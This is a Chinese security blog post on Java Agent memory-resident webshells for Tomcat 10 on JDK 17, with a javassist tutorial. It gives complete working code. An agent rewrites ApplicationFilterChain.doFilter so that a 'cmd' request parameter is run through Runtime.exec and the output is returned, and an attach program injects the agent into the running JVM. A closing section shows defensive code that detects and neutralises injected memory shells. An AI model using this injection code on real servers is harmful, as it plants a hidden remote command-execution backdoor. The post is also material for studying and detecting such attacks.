JavaAgent内存马

前言

这是通过 JavaAgent + javassist 动态修改 web 服务内部关键类注入恶意代码的内存马技术。限制是需要在已经控制目标机器并且上传 Agent jar 包和 javassist 包才可以完成的注入。

环境

tomcat 环境(目标受害环境):

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.itranswarp.learnjava</groupId>
    <artifactId>web-listener</artifactId>
    <version>1.0-SNAPSHOT</version>
    <packaging>war</packaging>

    <properties>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
        <maven.compiler.source>17</maven.compiler.source>
        <maven.compiler.target>17</maven.compiler.target>
        <java.version>17</java.version>
        <tomcat.version>10.1.1</tomcat.version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-core</artifactId>
            <version>${tomcat.version}</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-jasper</artifactId>
            <version>${tomcat.version}</version>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.25.0-GA</version>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
            <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-war-plugin</artifactId>
                <version>3.3.2</version>
            </plugin>
        </plugins>
    </build>
</project>

首先需要注意,我这里的环境是 jdk17。并且 tomcat 的版本是 10,所以 Servlet-api 下的相关包名也是不同的。环境与前文介绍的 tomcat 内存马有所不同,但大同小异。

4.0及之前的servlet-api由Oracle官方维护,引入的依赖项是javax.servlet:javax.servlet-api,编写代码时引入的包名为:

import javax.servlet.*;

而5.0及以后的servlet-api由Eclipse开源社区维护,引入的依赖项是jakarta.servlet:jakarta.servlet-api,编写代码时引入的包名为:

import jakarta.servlet.*;

Javassist

Javassist (Java Programming Assistant) makes Java bytecode manipulation simple. It is a class library for editing bytecodes in Java; it enables Java programs to define a new class at runtime and to modify a class file when the JVM loads it. Unlike other similar bytecode editors, Javassist provides two levels of API: source level and bytecode level. If the users use the source-level API, they can edit a class file without knowledge of the specifications of the Java bytecode. The whole API is designed with only the vocabulary of the Java language.

https://www.javassist.org/

我们首先来学习一下 javassist 修改字节码的常用方法。

ClassPool

ClassPoolCtClass 对象的容器。CtClass 对象必须从该对象获得。如果 get() 在此对象上调用,则它将搜索表示的各种源 ClassPath 以查找类文件,然后创建一个 CtClass 表示该类文件的对象。创建的对象将返回给调用者。可以将其理解为一个存放 CtClass 对象的容器。

获得方法: ClassPool pool = ClassPool.getDefault();。通过 ClassPool.getDefault() 获取的 ClassPool 使用 JVM 的类搜索路径。如果程序运行在 JBoss 或者 Tomcat 等 Web 服务器上,ClassPool 可能无法找到用户的类,因为Web服务器使用多个类加载器作为系统类加载器。在这种情况下,ClassPool 必须添加额外的类搜索路径

pool.insertClassPath(new ClassClassPath(<Class>));

CtClass

可以将其理解成加强版的 Class 对象,我们可以通过 CtClass 对目标类进行各种操作。可以 ClassPool.get(ClassName) 中获取。

此类常用方法:

  • setSuperclass(CtClass clazz) 给类设置超类
  • addConstructor(CtConstructor c) 给类添加构造器
  • addField(CtField f) 添加给类字段
  • writeFile() 将类写入文件
  • detach() 从 ClassPool 中删除类
  • addInterface(CtClass clazz) 添加接口
  • removeMethod(CtMethod m) 删除某个方法
  • toClass 将修改后的 CtClass 加载至当前线程的上下文类加载器中
  • toBytecode 返回 CtClass 的字节码。常常用于缩短 Payload 长度的操作

CtMethod

符号 含义
$0,$1, $2, … $0 = this; $1 = args[1] …..
$args 方法参数数组。它的类型为 Object[]
$$ 所有实参。例如, m($$) 等价于 m(1,2,…)
$cflow(…) cflow 变量
$r 返回结果的类型,用于强制类型转换
$w 包装器类型,用于强制类型转换
$_ 返回值
$sig 类型为 java.lang.Class 的参数类型数组
$type 一个 java.lang.Class 对象,表示返回值类型
$class 一个 java.lang.Class 对象,表示当前正在修改的类

同理,可以理解成加强版的 Method 对象。可通过 CtClass.getDeclaredMethod(MethodName) 获取,该类提供了一些方法以便我们能够直接修改方法体

  • getDeclaredMethod(String name, CtClass[] params) 通过 ctCtlass 获得对应的 ctMethod
  • setBody(String src) 设置方法体
  • insertBefore(String src) 插入在方法体最前面插入内容
  • insertAfter(String src) 在方法体最后插入内容
  • insertAt(int lineNum, String src) 在方法体某一行插入内容
  • setModifiers(int mod) 设置 Field 的方法修饰符,可选 Modifier.PRIVATE

当然也可以通过创建一个 CtMethod 对象给我们创建的类进行添加方法如:

CtMethod sayHello = new CtMethod(CtClass.voidType, "sayHello", new CtClass[]{ctStringClass}, person);
                  //参数意思分别是(返回值,方法名,接收的参数,要设置的 CtClass 对象)
person.addMethod(sayHello);

CtField

可以直接创造一个 CtField 对象,下面是构造器

public CtField(CtClass type, String name, CtClass declaring) throws CannotCompileException {
        this(Descriptor.of(type), name, declaring);
    }

需要提供属性类,属性名,以及添加的对应 CtClass 对象

常用方法:

  • setModifiers(int mod) 设置 Field 的方法修饰符,可选 Modifier.PRIVATE

很遗憾并没有找到修改属性值的方法,但是可以通过反射操作完成。

CtConstructor

同样的我们可以创建一个 CtConstructor 对象并添加到 CtClass 中

 public CtConstructor(CtClass[] parameters, CtClass declaring) {
        this((MethodInfo)null, declaring);
        ConstPool cp = declaring.getClassFile2().getConstPool();
        String desc = Descriptor.ofConstructor(parameters);
        this.methodInfo = new MethodInfo(cp, "<init>", desc);
        this.setModifiers(1);
    }

CtNewConstructor

make(String src, CtClass declaring)

可以用这个类的 make 方法快速的创建一个 Ct构造器 如

CtConstructor constructor = CtNewConstructor.make("public Person(){}",person);

CtNewMethod

CtMethod make(String src, CtClass declaring) 

可以用这个类的 make 方法快速的创建一个 Ct 方法如:

CtMethod aaa = CtNewMethod.make("public void aaa(String a){System.out.println(a);}", person);

也可以快速创建 setter 和 getter 方法

  • public static CtMethod CtMethod setter(String methodName, CtField field)

  • public static CtMethod CtMethod getter(String methodName, CtField field)

运行如下代码,可以创建出一个 class 文件,可以发现,并不能修改属性值

import javassist.*;

import java.io.IOException;

public class JavassistTest {
    public static void createObject() throws NotFoundException, CannotCompileException, IOException {
        ClassPool classPool = ClassPool.getDefault();
        // 创建对象
        CtClass person = classPool.makeClass("org.example.Person");

        // 设置超类
        CtClass ctObjectClass = classPool.getCtClass("java.lang.Object");
        person.setSuperclass(ctObjectClass);

        // 创建 name 字段,private name
        CtField name = new CtField(classPool.get("java.lang.String"), "name", person);
        name.setModifiers(Modifier.PRIVATE);
        person.addField(name, CtField.Initializer.constant("Shule"));

        CtField age = new CtField(classPool.get("java.lang.Integer"), "age", person);
        age.setModifiers(Modifier.PRIVATE);
        person.addField(age);

        // 获取 ctString 类,便于后续处理
        CtClass ctStringClass = classPool.getCtClass("java.lang.String");

        // 创建一个 Person 的有参构造器
        CtConstructor ctConstructor = new CtConstructor(new CtClass[]{ctStringClass}, person);
        ctConstructor.setBody("{$0.name=$1;}");
        person.addConstructor(ctConstructor);

        // 创建一个私有的无参构造方法
        CtMethod voidMethod = new CtMethod(CtClass.voidType, "voidMethod", new CtClass[]{ctStringClass}, person);
        voidMethod.setModifiers(Modifier.PRIVATE);
        voidMethod.setBody("{System.out.println(\"123456\");}");
        person.addMethod(voidMethod);

        // 添加 setter 和 getter 方法
        person.addMethod(CtNewMethod.setter("setName", name));
        person.addMethod(CtNewMethod.getter("getName", name));

        // 添加一个 sayHello 的方法
        CtMethod sayHello = new CtMethod(CtClass.voidType, "sayHello", new CtClass[]{ctStringClass}, person);
        sayHello.setModifiers(Modifier.PUBLIC);
        sayHello.setBody("{System.out.println(\"Hello \" + $1);}");
        person.addMethod(sayHello);

        // 用 CtNewMethod 快速创建一个方法
        CtMethod AAA = CtNewMethod.make("public void aaa(String a){System.out.println(a);}", person);
        person.addMethod(AAA);

        CtMethod aaa = person.getDeclaredMethod("aaa");
        aaa.insertAfter("System.out.println(123456);");

        // 用 CtNewConstructor 快速创建一个构造器
        CtConstructor constructor = CtNewConstructor.make("public Person(Integer a){a = 19;$0.age=a;}",person);
        person.addConstructor(constructor);

        person.writeFile("path\\target");
        // . detach() 从ClassPool中删除类

    }
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
        JavassistTest.createObject();
    }
}

结果如下:

image-20230123170020527

Java Agent

既然要介绍 Java Agent 内存马,那必须得先知道这是什么东东。

Java Agent 是一种不影响正常编译的前提下,借助 Instrumentation API 修改 Java 字节码,进而动态地修改已经加载或未加载的类、熟悉和方法的技术。实际上 Java Agent 是一个精心设计的 Jar 包

主要有两个方法,一种是在 JVM 启动前加载的 premain-Agent(静态加载),另一种是 JVM 启动后加载的agentmain-Agent(动态加载)。

premain-Agent 是静态加载方式,加载命令行如下示例:

java -javaagent:agent.jar -jar application.jar

agentmain-Agent 动态加载使用 Java Attach API.

可以用 maven 生成 agent.jar。示例:对于如下 xml 运行 mvn:package 即可将 org.example.PreMainTraceAgent 打包成 jar 包

        <plugin>
          <groupId>org.apache.maven.plugins</groupId>
          <artifactId>maven-jar-plugin</artifactId>
          <version>3.1.0</version>
          <configuration>
            <archive>
              <!--自动添加META-INF/MANIFEST.MF -->
              <manifest>
                <addClasspath>true</addClasspath>
              </manifest>
              <manifestEntries>
                <Premain-Class>org.example.PreMainTraceAgent</Premain-Class>
                <Agent-Class>org.example.PreMainTraceAgent</Agent-Class>
                <Can-Redefine-Classes>true</Can-Redefine-Classes>
                <Can-Retransform-Classes>true</Can-Retransform-Classes>
              </manifestEntries>
            </archive>
          </configuration>
        </plugin>

agentmain

代理执行的入口点以及我们需要编写的方法为:

public static void agentmain(String args, Instrumentation inst)

premain-Agent

代理执行的入口点以及我们需要编写的方法为:

 public static void premain(String agentArgs, Instrumentation inst)

在具体介绍之前我们还需要了解下面这几个类

Instrumentation

Instrumentation 是一个接口,使用其开发者可以构建一个独立于应用程序的代理程序(Agent),用来监测和协助运行在 JVM 上的程序,甚至可以替换和修改某些类的定义。常用方法如下:

public interface Instrumentation {
    //增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
    void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

    //在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
    void addTransformer(ClassFileTransformer transformer);

    //删除一个类转换器
    boolean removeTransformer(ClassFileTransformer transformer);

    //在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

    //判断一个类是否被修改
    boolean isModifiableClass(Class<?> theClass);

    // 获取目标已经加载的类。
    @SuppressWarnings("rawtypes")
    Class[] getAllLoadedClasses();

    //获取一个对象的大小
    long getObjectSize(Object objectToSize);
}

VirtualMachine

com.sun.tools.attach.VirtualMachine 类可以实现获取 JVM 信息,内存 dump、现成 dump、类信息统计(例如 JVM 加载的类)等功能。

由于默认情况下 maven 不会将 com.sun 包添加到项目,我们需要手动添加 : Project Settings -> Libraries -> +,当然也可以像我一样显性地在 pom.xml 中添加如下内容:

    <dependency>
      <groupId>com.sun</groupId>
      <artifactId>tools</artifactId>
      <version>1.8.0</version>
      <scope>system</scope>
      <systemPath>C:\\Program Files\\Java\\jdk1.8.0_311\\lib\\tools.jar</systemPath>
    </dependency>

该类允许我们通过给 attach 方法传入一个 JVM 的 PID,来远程连接到该 JVM 上 ,之后我们就可以对连接的 JVM 进行各种操作,如注入 Agent。下面是该类的主要方法

//允许我们传入一个JVM的PID,然后远程连接到该JVM上
VirtualMachine.attach()

//向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
VirtualMachine.loadAgent() // 填写 jar 包路径,能够动态加载 agent 并调用类中的 agentmain 方法

//获得当前所有的JVM列表
VirtualMachine.list()

//解除与特定JVM的连接
VirtualMachine.detach()

transform

在Instrumentation接口中,我们可以通过 addTransformer() 来添加一个 transformer (转换器),关键属性就是 ClassFileTransformer 接口。可以利用 ClassFileTransformer 当中的 transform 方法则完成了类定义的替换。

注入 Agent 内存马示例

我们的目标是注入 tomcat 中的内存马。在前文中观察 servlet 和 filter 的调用栈可以发现,都会经过 ApplicationFilter#doFilter。而 Listener 的话比较好控制的地方是 StandardContext#fireRequestDestroyEvent,然而不容易获得 response 对象从而获得回显,Valve 同样也是,不是说不行,而是不够好。因此我们就从 ApplicationFilter#doFilter 注入介绍流程。

我们首先需要制作好恶意的 Agent.jar 文件,然后才能通过动态代理的方式进行注入。代码如下:

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;


public class AgentMainTest {
    public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
        Class [] classes = inst.getAllLoadedClasses();
        for(Class cls : classes){
            if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){
                //添加一个 transformer 到 Instrumentation,并重新触发目标类加载
                inst.addTransformer(new DefineTransformer(),true);
                inst.retransformClasses(cls);
            }
        }
    }
    static class DefineTransformer implements ClassFileTransformer {
        @Override
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
            System.out.println("loader: " + loader.getName() + " className:" + className);
            try {
                //获取 CtClass 对象的容器 ClassPool
                ClassPool classPool = ClassPool.getDefault();
                //添加额外的类搜索路径
                if (classBeingRedefined != null) {
                    ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                    classPool.insertClassPath(ccp);
                }
                //获取目标类
                CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
                //获取目标方法
                CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
                //设置方法体
                String body = "{" +
                        "jakarta.servlet.http.HttpServletRequest request = $1\n;" +
                        "String cmd=request.getParameter(\"cmd\");\n" +
                        "if (cmd!=null){\n" +
                        "  java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();" +
                        "java.io.PrintWriter writer = $2.getWriter();" +
                        "java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter(\"\\\\A\");" +
                        "String result = scanner.hasNext()?scanner.next():\"\";" +
                        "scanner.close();writer.write(result);" +
                        "writer.flush();writer.close();\n" +
                        "  }else{internalDoFilter($1,$2);}"+
                        "}";
                ctMethod.setBody(body);
                //返回目标类字节码
                byte[] bytes = ctClass.toBytecode();
                return bytes;

            }catch (Exception e){
                e.printStackTrace();
            }
            return null;
        }
    }

}

可以很容易看到我们动态代理的逻辑,可以获得运行加载中的所有类,并且通过 javassist 进行字节码的修改并使修改后的类重新加载。

然后就是注入类,由于我的 tomcat 启动是通过 com.itranswarp.learnjava.Main 启动的,因此代码逻辑如下:

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class GetPID {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        List<VirtualMachineDescriptor> list = VirtualMachine.list();
        for (VirtualMachineDescriptor virtualMachineDescriptor :list) {
            if (virtualMachineDescriptor.displayName().equals("com.itranswarp.learnjava.Main")) {
                String id = virtualMachineDescriptor.id();
                VirtualMachine attach = VirtualMachine.attach(id);
                attach.loadAgent("JavaAgent-1.0-SNAPSHOT.jar");
                attach.detach();
            }
        }
    }
}

由于 tomcat 与众多框架一样是懒加载模式,我们在启动 tomcat 服务后需要人为访问一次 web 才可以加载出 org.apache.catalina.core.ApplicationFilterChains

然后再运行 GetPID#Main 进行注入,一次即可注入成功

firefox_fKNdZfbSPN

并且访问其它页面都是正常

firefox_QN8ROkckUM

内存马的排查

其实前面说了那么多,我只是想介绍一下如何排查通过反序列化注入内存马的思路。既然我们可以通过 Java Agent 动态的改变类方法的逻辑,我们也同样可以用这个方法进行判断恶意的内存类,并修改成无害的代码。

下面写了个简单的示例:

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.security.ProtectionDomain;


public class AgentMainTest {
    public static void agentmain(String args, Instrumentation inst) throws UnmodifiableClassException {
        Class[] classes = inst.getAllLoadedClasses();
        for (Class cls : classes) {
            Class superclass = cls.getSuperclass();
            if (superclass != null) {
                if (superclass.getName().equals("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")) {
                    String EvilClassName = cls.getName();
                    System.out.println("find! " + EvilClassName);
                    Class[] interfaces = cls.getInterfaces();
                    for (Class inter : interfaces) {
                        String interfaceName = inter.getName();
                        if (interfaceName.equals("javax.servlet.ServletRequestListener")) {
                            EvilListenerTransformer.evilName = EvilClassName;
                            inst.addTransformer(new EvilListenerTransformer(), true);
                            inst.retransformClasses(cls);
                            break;
                        }
                        if (interfaceName.equals("javax.servlet.Filter")) {
                            EvilFilterTransformer.evilName = EvilClassName;
                            inst.addTransformer(new EvilFilterTransformer(), true);
                            inst.retransformClasses(cls);
                            break;
                        }
                        if (interfaceName.equals("javax.servlet.Servlet")) {
                            EvilServletTransformer.evilName = EvilClassName;
                            inst.addTransformer(new EvilServletTransformer(), true);
                            inst.retransformClasses(cls);
                            break;
                        }
                        if (interfaceName.equals("org.apache.catalina.Valve") || interfaceName.equals("org.apache.catalina.Container")) {
                            EvilValveTransformer.evilName = EvilClassName;
                            inst.addTransformer(new EvilValveTransformer(), true);
                            inst.retransformClasses(cls);
                            break;
                        }
                    }
                }
            }
        }
    }

    static class EvilListenerTransformer implements ClassFileTransformer {
        private static String evilName;
        @Override
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
            try {
                //获取CtClass 对象的容器 ClassPool
                ClassPool classPool = ClassPool.getDefault();
                //添加额外的类搜索路径
                if (classBeingRedefined != null) {
                    ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                    classPool.insertClassPath(ccp);
                }
                //获取目标类
                CtClass ctClass = classPool.get(evilName);
                //获取目标方法
                CtMethod ctMethod = ctClass.getDeclaredMethod("requestInitialized");
                //设置方法体
                String body = "{System.out.println(\"Hacker!\");}";
                ctMethod.setBody(body);
                //返回目标类字节码
                byte[] bytes = ctClass.toBytecode();
                return bytes;

            } catch (Exception e) {
                e.printStackTrace();
            }
            return null;
        }
    }

    static class EvilValveTransformer implements ClassFileTransformer {
        private static String evilName;
        @Override
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
            try {
                //获取CtClass 对象的容器 ClassPool
                ClassPool classPool = ClassPool.getDefault();
                //添加额外的类搜索路径
                if (classBeingRedefined != null) {
                    ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                    classPool.insertClassPath(ccp);
                }
                //获取目标类
                CtClass ctClass = classPool.get(evilName);
                //获取目标方法
                CtMethod ctMethod = ctClass.getDeclaredMethod("invoke");
                //设置方法体
                String body = "{System.out.println(\"Hacker!\");}";
                ctMethod.setBody(body);
                //返回目标类字节码
                byte[] bytes = ctClass.toBytecode();
                return bytes;

            } catch (Exception e) {
                e.printStackTrace();
            }
            return null;
        }
    }

    static class EvilServletTransformer implements ClassFileTransformer {
        private static String evilName;
        @Override
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
            try {
                //获取CtClass 对象的容器 ClassPool
                ClassPool classPool = ClassPool.getDefault();
                //添加额外的类搜索路径
                if (classBeingRedefined != null) {
                    ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                    classPool.insertClassPath(ccp);
                }
                //获取目标类
                CtClass ctClass = classPool.get(evilName);
                //获取目标方法
                CtMethod ctMethod = ctClass.getDeclaredMethod("service");
                //设置方法体
                String body = "{$3.doFilter($1,$2);}";
                ctMethod.setBody(body);
                //返回目标类字节码
                byte[] bytes = ctClass.toBytecode();
                return bytes;

            } catch (Exception e) {
                e.printStackTrace();
            }
            return null;
        }
    }

    static class EvilFilterTransformer implements ClassFileTransformer {
        private static String evilName;
        @Override
        public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
            try {
                //获取CtClass 对象的容器 ClassPool
                ClassPool classPool = ClassPool.getDefault();
                //添加额外的类搜索路径
                if (classBeingRedefined != null) {
                    ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                    classPool.insertClassPath(ccp);
                }
                //获取目标类
                CtClass ctClass = classPool.get(evilName);
                //获取目标方法
                CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
                //设置方法体
                String body = "{System.out.println(\"Hacker!\");}";
                ctMethod.setBody(body);

                //返回目标类字节码
                byte[] bytes = ctClass.toBytecode();
                return bytes;

            } catch (Exception e) {
                e.printStackTrace();
            }
            return null;
        }
    }
}
版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇